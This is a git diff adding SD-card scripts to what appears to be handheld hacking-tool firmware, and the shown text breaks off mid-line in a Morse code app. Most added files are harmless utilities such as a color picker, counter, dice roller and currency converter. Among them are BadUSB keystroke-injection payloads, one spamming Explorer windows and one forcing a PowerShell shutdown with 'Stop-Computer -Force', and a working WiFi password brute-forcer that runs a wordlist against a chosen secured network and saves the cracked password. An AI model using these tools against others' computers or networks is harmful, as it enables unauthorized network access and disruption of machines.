diff --git a/sd_files/BadUSB and BlueDucky/explorer-spam.txt b/sd_files/BadUSB and BlueDucky/explorer-spam.txt new file mode 100644 index 0000000000..510b9a62ec --- /dev/null +++ b/sd_files/BadUSB and BlueDucky/explorer-spam.txt @@ -0,0 +1,30 @@ +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e +GUI e \ No newline at end of file diff --git a/sd_files/BadUSB and BlueDucky/force-shutdown.txt b/sd_files/BadUSB and BlueDucky/force-shutdown.txt new file mode 100644 index 0000000000..3d70184dc4 --- /dev/null +++ b/sd_files/BadUSB and BlueDucky/force-shutdown.txt @@ -0,0 +1,7 @@ +GUI r +DELAY 200 +STRING powershell +ENTER +DELAY 1050 +STRING Stop-Computer -Force +ENTER \ No newline at end of file diff --git a/sd_files/BadUSB and BlueDucky/rickroll-payload.txt b/sd_files/BadUSB and BlueDucky/rickroll-payload.txt new file mode 100644 index 0000000000..2ae2c9f684 --- /dev/null +++ b/sd_files/BadUSB and BlueDucky/rickroll-payload.txt @@ -0,0 +1,9 @@ +GUI r +DELAY 200 +STRING powershell +ENTER +DELAY 1050 +STRING start "https://www.youtube.com/watch?v=dQw4w9WgXcQ&list=RDdQw4w9WgXcQ" +DELAY 100 +ENTER + diff --git a/sd_files/interpreter/bruce_force.js b/sd_files/interpreter/bruce_force.js new file mode 100644 index 0000000000..637eff4504 --- /dev/null +++ b/sd_files/interpreter/bruce_force.js @@ -0,0 +1,495 @@ +var dialog = require("dialog"); +var wifi = require("wifi"); +var storage = require("storage"); +var keyboard = require("keyboard"); +var display = require("display"); +var serial = require("serial"); +var device = require("device"); + +// WiFi Brute Force - Premium Modern Design +var screenWidth = display.width(); +var screenHeight = display.height(); + +// Premium color scheme - clean and professional +var BG = display.color(240, 242, 245); +var BG_DARK = display.color(220, 225, 230); +var PRIMARY = display.color(0, 122, 255); +var PRIMARY_LIGHT = display.color(100, 170, 255); +var SUCCESS = display.color(52, 199, 89); +var ERROR = display.color(255, 59, 48); +var WARNING = display.color(255, 149, 0); +var TEXT_PRIMARY = display.color(0, 0, 0); +var TEXT_SECONDARY = display.color(100, 100, 105); +var BORDER = display.color(200, 200, 205); +var WHITE = display.color(255, 255, 255); +var ACCENT = display.color(88, 86, 214); + +var selectedNetwork = null; +var passwords = []; +var shouldExit = false; + +function formatTime(ms) { + var totalSec = Math.floor(ms / 1000); + var min = Math.floor(totalSec / 60); + var sec = totalSec % 60; + if (min > 0) { + return min + "m " + sec + "s"; + } + return sec + "s"; +} + +function drawHeader(title) { + // Clean header bar + display.drawFillRect(0, 0, screenWidth, 20, PRIMARY); + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString(title, screenWidth / 2 - title.length * 3, 6); +} + +function drawMainMenu(selected) { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + drawHeader("WiFi Password Recovery"); + + var items = [ + { label: "Select Target Network", icon: ">" }, + { label: "Load Password List", icon: ">" }, + { label: "Start Attack", icon: ">" }, + { label: "Exit", icon: "X" }, + ]; + + var startY = 30; + for (var i = 0; i < items.length; i++) { + var y = startY + i * 24; + var isSelected = selected === i; + + // Card-style items + if (isSelected) { + display.drawFillRect(10, y, screenWidth - 20, 20, PRIMARY); + display.setTextColor(WHITE); + } else { + display.drawFillRect(10, y, screenWidth - 20, 20, WHITE); + display.drawRect(10, y, screenWidth - 20, 20, BORDER); + display.setTextColor(TEXT_PRIMARY); + } + + display.setTextSize(1); + display.drawString(items[i].label, 18, y + 6); + + // Status indicator + if (i === 0 && selectedNetwork) { + display.setTextColor(isSelected ? WHITE : SUCCESS); + display.drawString("✓", screenWidth - 20, y + 6); + } else if (i === 1 && passwords.length > 0) { + display.setTextColor(isSelected ? WHITE : SUCCESS); + display.drawString("✓", screenWidth - 20, y + 6); + } + } + + // Info footer + display.setTextColor(TEXT_SECONDARY); + display.setTextSize(1); + var infoText = selectedNetwork + ? selectedNetwork.substring(0, 15) + : "No target"; + display.drawString(infoText, 10, screenHeight - 20); + if (passwords.length > 0) { + display.drawString(passwords.length + " passwords", 10, screenHeight - 10); + } +} + +function scanNetworks() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + drawHeader("Scanning Networks"); + + display.setTextColor(TEXT_PRIMARY); + display.setTextSize(1); + display.drawString("Scanning for WiFi networks...", 10, 35); + + var networks = wifi.scan(); + delay(3000); + + if (!networks || networks.length === 0) { + dialog.error("No networks found"); + return null; + } + + var choices = {}; + for (var i = 0; i < networks.length; i++) { + var net = networks[i]; + if (net.encryptionType !== "OPEN") { + var sig = net.RSSI > -50 ? "●●●" : net.RSSI > -70 ? "●●○" : "●○○"; + choices[net.SSID + " " + sig] = net.SSID; + } + } + + if (Object.keys(choices).length === 0) { + dialog.error("No secured networks found"); + return null; + } + + return dialog.choice(choices); +} + +function loadDictionary() { + var filePath = dialog.pickFile("/"); + if (!filePath) return false; + + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + drawHeader("Loading Wordlist"); + + display.setTextColor(TEXT_PRIMARY); + display.setTextSize(1); + display.drawString("Reading file...", 10, 35); + + var content = storage.read(filePath); + if (!content) { + dialog.error("Failed to read file"); + return false; + } + + var lines = content.split("\n"); + passwords = []; + for (var i = 0; i < lines.length; i++) { + var pwd = lines[i].replace(/\r/g, "").trim(); + if (pwd && pwd.length >= 8) passwords.push(pwd); + } + + if (passwords.length === 0) { + dialog.error("No valid passwords found"); + return false; + } + + dialog.info("Loaded " + passwords.length + " passwords"); + return true; +} + +function drawAttackScreen(current, total, pwd) { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + drawHeader("Attack in Progress"); + + // Progress card + display.drawFillRect(8, 25, screenWidth - 16, 50, WHITE); + display.drawRect(8, 25, screenWidth - 16, 50, BORDER); + + // Target network + display.setTextColor(TEXT_SECONDARY); + display.setTextSize(1); + display.drawString("Target:", 12, 30); + display.setTextColor(TEXT_PRIMARY); + var netStr = + selectedNetwork.length > 12 + ? selectedNetwork.substring(0, 9) + "..." + : selectedNetwork; + display.drawString(netStr, 50, 30); + + // Progress bar + var progress = total > 0 ? current / total : 0; + var barW = screenWidth - 32; + display.drawRect(12, 45, barW, 8, BORDER); + display.drawFillRect(13, 46, Math.floor(barW * progress) - 2, 6, PRIMARY); + + // Stats + display.setTextColor(TEXT_PRIMARY); + display.drawString(current + " / " + total, 12, 58); + display.setTextColor(TEXT_SECONDARY); + display.drawString(Math.floor(progress * 100) + "%", screenWidth - 40, 58); + + // Current attempt card + display.drawFillRect(8, 80, screenWidth - 16, 30, WHITE); + display.drawRect(8, 80, screenWidth - 16, 30, BORDER); + + display.setTextColor(TEXT_SECONDARY); + display.setTextSize(1); + display.drawString("Testing:", 12, 85); + + display.setTextColor(PRIMARY); + var pwdStr = pwd.length > 18 ? pwd.substring(0, 15) + "..." : pwd; + display.drawString(pwdStr, 12, 96); + + // Footer + display.setTextColor(TEXT_SECONDARY); + display.drawString("Press ESC to abort", 10, screenHeight - 10); +} + +function drawSuccessScreen(pwd, attempts, timeMs) { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Success header + display.drawFillRect(0, 0, screenWidth, 25, SUCCESS); + display.setTextColor(WHITE); + display.setTextSize(2); + display.drawString("SUCCESS", screenWidth / 2 - 42, 6); + + // Network card + display.drawFillRect(10, 32, screenWidth - 20, 22, WHITE); + display.drawRect(10, 32, screenWidth - 20, 22, BORDER); + display.setTextColor(TEXT_SECONDARY); + display.setTextSize(1); + display.drawString("Network:", 14, 36); + display.setTextColor(TEXT_PRIMARY); + var netStr = + selectedNetwork.length > 15 + ? selectedNetwork.substring(0, 12) + "..." + : selectedNetwork; + display.drawString(netStr, 14, 44); + + // Stats cards + display.drawFillRect(10, 58, (screenWidth - 25) / 2, 20, WHITE); + display.drawRect(10, 58, (screenWidth - 25) / 2, 20, BORDER); + display.setTextColor(TEXT_SECONDARY); + display.drawString("Time", 14, 61); + display.setTextColor(PRIMARY); + display.drawString(formatTime(timeMs), 14, 69); + + display.drawFillRect( + screenWidth / 2 + 2, + 58, + (screenWidth - 25) / 2, + 20, + WHITE + ); + display.drawRect(screenWidth / 2 + 2, 58, (screenWidth - 25) / 2, 20, BORDER); + display.setTextColor(TEXT_SECONDARY); + display.drawString("Attempts", screenWidth / 2 + 6, 61); + display.setTextColor(PRIMARY); + display.drawString("" + attempts, screenWidth / 2 + 6, 69); + + // Password card - highlighted + display.drawFillRect(10, 84, screenWidth - 20, 26, PRIMARY); + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("Password:", 14, 88); + display.setTextSize(2); + var pwdDisplay = pwd.length > 11 ? pwd.substring(0, 9) + ".." : pwd; + display.drawString(pwdDisplay, 14, 98); +} + +function drawSaveMenu(selected) { + // Menu overlay in top right + var menuW = 80; + var menuH = 50; + var menuX = screenWidth - menuW - 5; + var menuY = 5; + + // Shadow effect + display.drawFillRect( + menuX + 2, + menuY + 2, + menuW, + menuH, + display.color(180, 180, 180) + ); + + // Menu background + display.drawFillRect(menuX, menuY, menuW, menuH, WHITE); + display.drawRect(menuX, menuY, menuW, menuH, BORDER); + + var items = ["Save", "Don't Save"]; + + for (var i = 0; i < items.length; i++) { + var itemY = menuY + 5 + i * 20; + + if (selected === i) { + display.drawFillRect(menuX + 2, itemY, menuW - 4, 18, PRIMARY); + display.setTextColor(WHITE); + } else { + display.setTextColor(TEXT_PRIMARY); + } + + display.setTextSize(1); + display.drawString(items[i], menuX + 8, itemY + 5); + } +} + +function runAttack() { + if (!selectedNetwork) { + dialog.error("Please select a target network"); + return; + } + if (passwords.length === 0) { + dialog.error("Please load a password list"); + return; + } + + keyboard.setLongPress(true); + serial.println("==== WiFi Attack Started ===="); + serial.println("Target: " + selectedNetwork); + serial.println("Passwords: " + passwords.length); + + var startTime = Date.now(); + + // Set LED to green + try { + device.setLedColor(0, 255, 0); + serial.println("LED: Green"); + } catch (e) { + serial.println("LED control unavailable"); + } + + // Disconnect first + serial.println("Disconnecting..."); + wifi.disconnect(); + delay(500); + + for (var i = 0; i < passwords.length; i++) { + if (keyboard.getEscPress()) { + serial.println("Aborted"); + wifi.disconnect(); + try { + device.setLedColor(255, 255, 255); + } catch (e) {} + keyboard.setLongPress(false); + return; + } + + var pwd = passwords[i]; + drawAttackScreen(i + 1, passwords.length, pwd); + serial.println("Try " + (i + 1) + ": " + pwd); + + wifi.disconnect(); + delay(100); + + var connected = false; + try { + connected = wifi.connect(selectedNetwork, 5, pwd); + serial.println("Result: " + connected); + } catch (e) { + serial.println("Error: " + e); + connected = false; + } + + if (connected) { + delay(500); + var isConn = false; + try { + isConn = wifi.isConnected(); + } catch (e) { + isConn = connected; + } + + if (isConn || connected) { + var elapsedTime = Date.now() - startTime; + + serial.println("SUCCESS!"); + serial.println("Password: " + pwd); + serial.println("Time: " + formatTime(elapsedTime)); + serial.println("Attempts: " + (i + 1)); + + // Show success screen + drawSuccessScreen(pwd, i + 1, elapsedTime); + + // Show save menu + var menuSel = 0; + var waitingForChoice = true; + + while (waitingForChoice) { + drawSaveMenu(menuSel); + + if (keyboard.getPrevPress()) { + menuSel = (menuSel - 1 + 2) % 2; + } + if (keyboard.getNextPress()) { + menuSel = (menuSel + 1) % 2; + } + if (keyboard.getSelPress()) { + if (menuSel === 0) { + // Save + var filename = + "/WiFi_" + + selectedNetwork.replace(/[^a-zA-Z0-9]/g, "_") + + ".txt"; + var content = "Network: " + selectedNetwork + "\n"; + content += "Password: " + pwd + "\n"; + content += "Time: " + formatTime(elapsedTime) + "\n"; + content += "Attempts: " + (i + 1) + "\n"; + content += "Date: " + new Date().toString() + "\n"; + + try { + storage.write(filename, content); + dialog.info("Saved to:\n" + filename); + serial.println("Saved: " + filename); + } catch (e) { + dialog.error("Save failed"); + serial.println("Save error: " + e); + } + } + waitingForChoice = false; + } + if (keyboard.getEscPress()) { + waitingForChoice = false; + } + delay(50); + } + + wifi.disconnect(); + try { + device.setLedColor(255, 255, 255); + } catch (e) {} + keyboard.setLongPress(false); + return; + } + } + + serial.println("Failed"); + delay(50); + } + + // All passwords tried - failed + serial.println("Attack finished - no match"); + + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + display.drawFillRect(0, 0, screenWidth, 25, ERROR); + display.setTextColor(WHITE); + display.setTextSize(2); + display.drawString("FAILED", screenWidth / 2 - 36, 6); + + display.setTextColor(TEXT_PRIMARY); + display.setTextSize(1); + display.drawString("Password not in wordlist", 10, 40); + display.setTextColor(TEXT_SECONDARY); + display.drawString("Tried: " + passwords.length + " passwords", 10, 55); + + delay(2000); + + wifi.disconnect(); + try { + device.setLedColor(255, 255, 255); + } catch (e) {} + keyboard.setLongPress(false); +} + +// Main loop +var menuSel = 0; + +while (!shouldExit) { + drawMainMenu(menuSel); + + while (true) { + if (keyboard.getPrevPress()) { + menuSel = (menuSel - 1 + 4) % 4; + break; + } + if (keyboard.getNextPress()) { + menuSel = (menuSel + 1) % 4; + break; + } + if (keyboard.getSelPress()) { + if (menuSel === 0) { + var result = scanNetworks(); + if (result) selectedNetwork = result; + } else if (menuSel === 1) { + loadDictionary(); + } else if (menuSel === 2) { + runAttack(); + } else { + shouldExit = true; + } + break; + } + if (keyboard.getEscPress()) { + shouldExit = true; + break; + } + delay(30); + } +} diff --git a/sd_files/interpreter/color_picker.js b/sd_files/interpreter/color_picker.js new file mode 100644 index 0000000000..fa1eb8fae4 --- /dev/null +++ b/sd_files/interpreter/color_picker.js @@ -0,0 +1,90 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Color Picker / RGB Viewer +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(30, 30, 30); +var WHITE = display.color(255, 255, 255); +var GRAY = display.color(100, 100, 100); + +var r = 255; +var g = 128; +var b = 0; +var editChannel = 0; // 0=R, 1=G, 2=B +var shouldExit = false; + +function toHex2(n) { + var hex = "0123456789ABCDEF"; + return hex.charAt(Math.floor(n / 16)) + hex.charAt(n % 16); +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Color preview + display.drawFillRect(10, 10, 80, 60, display.color(r, g, b)); + display.drawRect(10, 10, 80, 60, WHITE); + + // Hex value + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString("#" + toHex2(r) + toHex2(g) + toHex2(b), 100, 15); + + // RGB values + display.setTextColor(editChannel === 0 ? display.color(255, 100, 100) : GRAY); + display.drawString("R: " + r, 100, 35); + + display.setTextColor(editChannel === 1 ? display.color(100, 255, 100) : GRAY); + display.drawString("G: " + g, 100, 50); + + display.setTextColor(editChannel === 2 ? display.color(100, 100, 255) : GRAY); + display.drawString("B: " + b, 100, 65); + + // Sliders + var sliderY = 80; + var sliderW = screenWidth - 40; + + // R slider + display.drawRect(20, sliderY, sliderW, 8, display.color(100, 50, 50)); + display.drawFillRect(20, sliderY, Math.floor(sliderW * r / 255), 8, display.color(255, 0, 0)); + + // G slider + display.drawRect(20, sliderY + 12, sliderW, 8, display.color(50, 100, 50)); + display.drawFillRect(20, sliderY + 12, Math.floor(sliderW * g / 255), 8, display.color(0, 255, 0)); + + // B slider + display.drawRect(20, sliderY + 24, sliderW, 8, display.color(50, 50, 100)); + display.drawFillRect(20, sliderY + 24, Math.floor(sliderW * b / 255), 8, display.color(0, 0, 255)); + + // Controls + display.setTextColor(WHITE); + display.drawString("SEL:Channel PREV/NEXT:Value", 5, screenHeight - 12); +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getSelPress()) { + editChannel = (editChannel + 1) % 3; + drawScreen(); + } + if (keyboard.getPrevPress()) { + if (editChannel === 0) r = Math.max(0, r - 5); + else if (editChannel === 1) g = Math.max(0, g - 5); + else b = Math.max(0, b - 5); + drawScreen(); + } + if (keyboard.getNextPress()) { + if (editChannel === 0) r = Math.min(255, r + 5); + else if (editChannel === 1) g = Math.min(255, g + 5); + else b = Math.min(255, b + 5); + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(50); +} diff --git a/sd_files/interpreter/counter.js b/sd_files/interpreter/counter.js new file mode 100644 index 0000000000..01db3885e3 --- /dev/null +++ b/sd_files/interpreter/counter.js @@ -0,0 +1,77 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Counter App +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(15, 25, 35); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(76, 175, 80); +var RED = display.color(244, 67, 54); +var CYAN = display.color(0, 188, 212); +var GRAY = display.color(100, 100, 100); + +var count = 0; +var step = 1; +var shouldExit = false; + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + display.setTextColor(CYAN); + display.setTextSize(1); + display.drawString("COUNTER", screenWidth / 2 - 25, 5); + + // Main count display + display.setTextColor(count >= 0 ? GREEN : RED); + display.setTextSize(3); + var countStr = "" + count; + var textW = countStr.length * 18; + display.drawString(countStr, screenWidth / 2 - textW / 2, 35); + + // Step indicator + display.setTextColor(GRAY); + display.setTextSize(1); + display.drawString("Step: " + step, screenWidth / 2 - 25, 75); + + // Buttons visualization + display.setTextColor(RED); + display.drawString("[-]", 20, screenHeight - 35); + display.setTextColor(GREEN); + display.drawString("[+]", screenWidth - 40, screenHeight - 35); + + // Controls + display.setTextColor(WHITE); + display.drawString("PREV", 18, screenHeight - 22); + display.drawString("NEXT", screenWidth - 42, screenHeight - 22); + + display.setTextColor(GRAY); + display.drawString( + "SEL:Step ESC:Exit", + screenWidth / 2 - 50, + screenHeight - 12 + ); +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getPrevPress()) { + count -= step; + drawScreen(); + } + if (keyboard.getNextPress()) { + count += step; + drawScreen(); + } + if (keyboard.getSelPress()) { + step = step === 1 ? 5 : step === 5 ? 10 : step === 10 ? 100 : 1; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(50); +} diff --git a/sd_files/interpreter/currency_converter.js b/sd_files/interpreter/currency_converter.js new file mode 100644 index 0000000000..45d6da1bf2 --- /dev/null +++ b/sd_files/interpreter/currency_converter.js @@ -0,0 +1,209 @@ +var display = require("display"); +var keyboard = require("keyboard"); +var http = require("http"); +var wifi = require("wifi"); +var dialog = require("dialog"); + +// Currency Converter - Real-time rates +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(15, 25, 35); +var WHITE = display.color(255, 255, 255); +var GREEN = display.color(76, 200, 100); +var CYAN = display.color(0, 200, 255); +var YELLOW = display.color(255, 200, 0); +var GRAY = display.color(100, 100, 100); +var RED = display.color(255, 80, 80); + +// Currency list +var currencies = [ + "USD", + "EUR", + "GBP", + "CZK", + "JPY", + "CHF", + "CAD", + "AUD", + "CNY", + "PLN", +]; +var currencySymbols = { + USD: "$", + EUR: "€", + GBP: "£", + CZK: "Kč", + JPY: "¥", + CHF: "Fr", + CAD: "C$", + AUD: "A$", + CNY: "¥", + PLN: "zł", +}; + +// Fallback rates (EUR base) - used if no internet +var fallbackRates = { + USD: 1.08, + EUR: 1.0, + GBP: 0.86, + CZK: 25.3, + JPY: 162.5, + CHF: 0.94, + CAD: 1.47, + AUD: 1.65, + CNY: 7.85, + PLN: 4.32, +}; + +var rates = {}; +var lastUpdate = "Offline"; +var fromIndex = 1; // EUR +var toIndex = 0; // USD +var amount = 100; +var editField = 0; // 0=amount, 1=from, 2=to +var shouldExit = false; + +function fetchRates() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + display.setTextColor(CYAN); + display.setTextSize(1); + display.drawString( + "Fetching rates...", + screenWidth / 2 - 50, + screenHeight / 2 - 10 + ); + + // Try to fetch from free API + try { + // Using exchangerate-api free endpoint + var response = http.get("https://api.exchangerate-api.com/v4/latest/EUR"); + if (response && response.rates) { + rates = response.rates; + rates.EUR = 1.0; + var d = new Date(); + lastUpdate = + d.getHours() + ":" + (d.getMinutes() < 10 ? "0" : "") + d.getMinutes(); + return true; + } + } catch (e) { + // API failed, use fallback + } + + // Use fallback rates + rates = fallbackRates; + lastUpdate = "Offline"; + return false; +} + +function convert(amt, from, to) { + var fromCurr = currencies[from]; + var toCurr = currencies[to]; + + // Convert through EUR + var eurAmount = amt / (rates[fromCurr] || 1); + return eurAmount * (rates[toCurr] || 1); +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Title and status + display.setTextColor(GREEN); + display.setTextSize(1); + display.drawString("CURRENCY", 5, 3); + display.setTextColor(lastUpdate === "Offline" ? RED : GRAY); + display.drawString(lastUpdate, screenWidth - 50, 3); + + // FROM section + display.setTextColor(editField === 0 ? CYAN : WHITE); + display.setTextSize(2); + display.drawString("" + amount, 10, 20); + + display.setTextColor(editField === 1 ? CYAN : YELLOW); + display.setTextSize(1); + display.drawString(currencies[fromIndex], screenWidth - 40, 27); + + // Arrow + display.setTextColor(GREEN); + display.setTextSize(2); + display.drawString("=", screenWidth / 2 - 8, 45); + + // TO section - result + var result = convert(amount, fromIndex, toIndex); + var resultStr = result.toFixed(2); + + display.setTextColor(GREEN); + display.setTextSize(2); + display.drawString(resultStr, 10, 65); + + display.setTextColor(editField === 2 ? CYAN : YELLOW); + display.setTextSize(1); + display.drawString(currencies[toIndex], screenWidth - 40, 72); + + // Exchange rate info + display.setTextColor(GRAY); + var rate1 = convert(1, fromIndex, toIndex).toFixed(4); + display.drawString( + "1 " + currencies[fromIndex] + " = " + rate1 + " " + currencies[toIndex], + 10, + 92 + ); + + // Quick rates display + display.drawLine(5, 105, screenWidth - 5, 105, GRAY); + display.setTextColor(WHITE); + display.drawString("EUR->USD:" + (rates.USD || "?"), 5, 110); + display.drawString( + "EUR->CZK:" + (Math.round(rates.CZK) || "?"), + screenWidth / 2, + 110 + ); + + // Controls + display.setTextColor(GRAY); + display.drawString("SEL:Fld :Adj ESC:Exit", 5, screenHeight - 10); +} + +// Check WiFi and fetch rates +if (!wifi.isConnected || !wifi.isConnected()) { + dialog.info("Connect to WiFi for live rates", true); +} +fetchRates(); +drawScreen(); + +while (!shouldExit) { + if (keyboard.getSelPress()) { + editField = (editField + 1) % 3; + drawScreen(); + } + + if (keyboard.getPrevPress()) { + if (editField === 0) { + if (amount > 1000) amount -= 100; + else if (amount > 100) amount -= 50; + else if (amount > 10) amount -= 10; + else amount = Math.max(1, amount - 1); + } else if (editField === 1) + fromIndex = (fromIndex - 1 + currencies.length) % currencies.length; + else toIndex = (toIndex - 1 + currencies.length) % currencies.length; + drawScreen(); + } + + if (keyboard.getNextPress()) { + if (editField === 0) { + if (amount >= 1000) amount += 100; + else if (amount >= 100) amount += 50; + else if (amount >= 10) amount += 10; + else amount += 1; + } else if (editField === 1) fromIndex = (fromIndex + 1) % currencies.length; + else toIndex = (toIndex + 1) % currencies.length; + drawScreen(); + } + + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(80); +} diff --git a/sd_files/interpreter/dice_roller.js b/sd_files/interpreter/dice_roller.js new file mode 100644 index 0000000000..f0a6cb2507 --- /dev/null +++ b/sd_files/interpreter/dice_roller.js @@ -0,0 +1,103 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Dice Roller App +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(30, 20, 10); +var WHITE = display.color(255, 255, 255); +var RED = display.color(220, 50, 50); +var CREAM = display.color(255, 250, 240); +var GRAY = display.color(100, 100, 100); + +var diceCount = 2; +var diceSides = 6; +var results = []; +var total = 0; +var shouldExit = false; + +function rollDice() { + results = []; + total = 0; + for (var i = 0; i < diceCount; i++) { + var roll = Math.floor(Math.random() * diceSides) + 1; + results.push(roll); + total += roll; + } +} + +function drawDie(x, y, size, value) { + display.drawFillRect(x, y, size, size, CREAM); + display.drawRect(x, y, size, size, GRAY); + + display.setTextColor(RED); + display.setTextSize(2); + var textX = x + size / 2 - (value >= 10 ? 12 : 6); + var textY = y + size / 2 - 8; + display.drawString("" + value, textX, textY); +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + display.setTextColor(WHITE); + display.setTextSize(1); + display.drawString( + "DICE: " + diceCount + "d" + diceSides, + screenWidth / 2 - 30, + 5 + ); + + // Draw dice + var dieSize = 35; + var spacing = 5; + var totalWidth = diceCount * dieSize + (diceCount - 1) * spacing; + var startX = (screenWidth - totalWidth) / 2; + + if (results.length > 0) { + for (var i = 0; i < Math.min(results.length, 4); i++) { + var x = startX + i * (dieSize + spacing); + drawDie(x, 25, dieSize, results[i]); + } + + // Total + display.setTextColor(WHITE); + display.setTextSize(2); + display.drawString("Total: " + total, screenWidth / 2 - 45, 70); + } else { + display.setTextColor(GRAY); + display.setTextSize(1); + display.drawString("Press SEL to roll", screenWidth / 2 - 50, 50); + } + + // Controls + display.setTextSize(1); + display.setTextColor(GRAY); + display.drawString("SEL: Roll | ESC: Exit", 10, screenHeight - 25); + display.drawString("PREV: Dice- NEXT: Dice+", 10, screenHeight - 12); +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getSelPress()) { + rollDice(); + drawScreen(); + } + if (keyboard.getPrevPress()) { + diceCount = Math.max(1, diceCount - 1); + results = []; + drawScreen(); + } + if (keyboard.getNextPress()) { + diceCount = Math.min(4, diceCount + 1); + results = []; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(80); +} diff --git a/sd_files/interpreter/flashlight.js b/sd_files/interpreter/flashlight.js new file mode 100644 index 0000000000..3db58cbb90 --- /dev/null +++ b/sd_files/interpreter/flashlight.js @@ -0,0 +1,72 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Flashlight App +var screenWidth = display.width(); +var screenHeight = display.height(); + +var WHITE = display.color(255, 255, 255); +var BLACK = display.color(0, 0, 0); +var YELLOW = display.color(255, 255, 200); +var RED = display.color(255, 0, 0); + +var isOn = false; +var mode = 0; // 0 = white, 1 = warm, 2 = strobe +var shouldExit = false; +var strobeState = false; + +function getColor() { + if (mode === 0) return WHITE; + if (mode === 1) return YELLOW; + return strobeState ? WHITE : BLACK; +} + +function drawScreen() { + var col = isOn ? getColor() : BLACK; + display.drawFillRect(0, 0, screenWidth, screenHeight, col); + + if (!isOn || mode === 2) { + display.setTextColor(isOn ? BLACK : WHITE); + display.setTextSize(2); + display.drawString(isOn ? "ON" : "OFF", screenWidth/2 - 15, 20); + + display.setTextSize(1); + var modeStr = mode === 0 ? "White" : (mode === 1 ? "Warm" : "Strobe"); + display.drawString("Mode: " + modeStr, screenWidth/2 - 35, 50); + + display.setTextColor(isOn ? BLACK : display.color(100, 100, 100)); + display.drawString("SEL: Toggle", 10, screenHeight - 35); + display.drawString("PREV/NEXT: Mode", 10, screenHeight - 22); + display.drawString("ESC: Exit", screenWidth - 55, screenHeight - 22); + } +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getSelPress()) { + isOn = !isOn; + drawScreen(); + } + if (keyboard.getPrevPress()) { + mode = (mode - 1 + 3) % 3; + drawScreen(); + } + if (keyboard.getNextPress()) { + mode = (mode + 1) % 3; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + + if (isOn && mode === 2) { + strobeState = !strobeState; + display.drawFillRect(0, 0, screenWidth, screenHeight, strobeState ? WHITE : BLACK); + delay(100); + } else { + delay(50); + } +} + +display.drawFillRect(0, 0, screenWidth, screenHeight, BLACK); diff --git a/sd_files/interpreter/morse_code.js b/sd_files/interpreter/morse_code.js new file mode 100644 index 0000000000..60bbb7476a --- /dev/null +++ b/sd_files/interpreter/morse_code.js @@ -0,0 +1,156 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Morse Code Translator - BIG output +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(5, 15, 25); +var WHITE = display.color(255, 255, 255); +var YELLOW = display.color(255, 235, 59); +var CYAN = display.color(0, 200, 255); +var GRAY = display.color(100, 100, 100); + +var morseCode = { + A: ".-", + B: "-...", + C: "-.-.", + D: "-..", + E: ".", + F: "..-.", + G: "--.", + H: "....", + I: "..", + J: ".---", + K: "-.-", + L: ".-..", + M: "--", + N: "-.", + O: "---", + P: ".--.", + Q: "--.-", + R: ".-.", + S: "...", + T: "-", + U: "..-", + V: "...-", + W: ".--", + X: "-..-", + Y: "-.--", + Z: "--..", + 0: "-----", + 1: ".----", + 2: "..---", + 3: "...--", + 4: "....-", + 5: ".....", + 6: "-....", + 7: "--...", + 8: "---..", + 9: "----.", + " ": "/", +}; + +var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "; +var charIndex = 0; +var text = ""; +var shouldExit = false; + +function getMorse(str) { + var result = ""; + for (var i = 0; i < str.length; i++) { + var ch = str.charAt(i).toUpperCase(); + if (morseCode[ch]) { + result += morseCode[ch] + " "; + } + } + return result; +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + + // Title + display.setTextColor(CYAN); + display.setTextSize(1); + display.drawString("MORSE CODE", screenWidth / 2 - 32, 3); + + // Text input box + display.drawRect(5, 15, screenWidth - 10, 20, GRAY); + display.setTextColor(WHITE); + var displayText = + text.length > 18 ? "..." + text.substring(text.length - 15) : text; + display.drawString(displayText + "_", 10, 22); + + // Character selector - bigger + display.setTextColor(YELLOW); + display.setTextSize(2); + display.drawString( + "[" + chars.charAt(charIndex) + "]", + screenWidth / 2 - 18, + 40 + ); + + // Show prev/next chars + display.setTextSize(1); + display.setTextColor(GRAY); + var prevChar = chars.charAt((charIndex - 1 + chars.length) % chars.length); + var nextChar = chars.charAt((charIndex + 1) % chars.length); + display.drawString(prevChar, 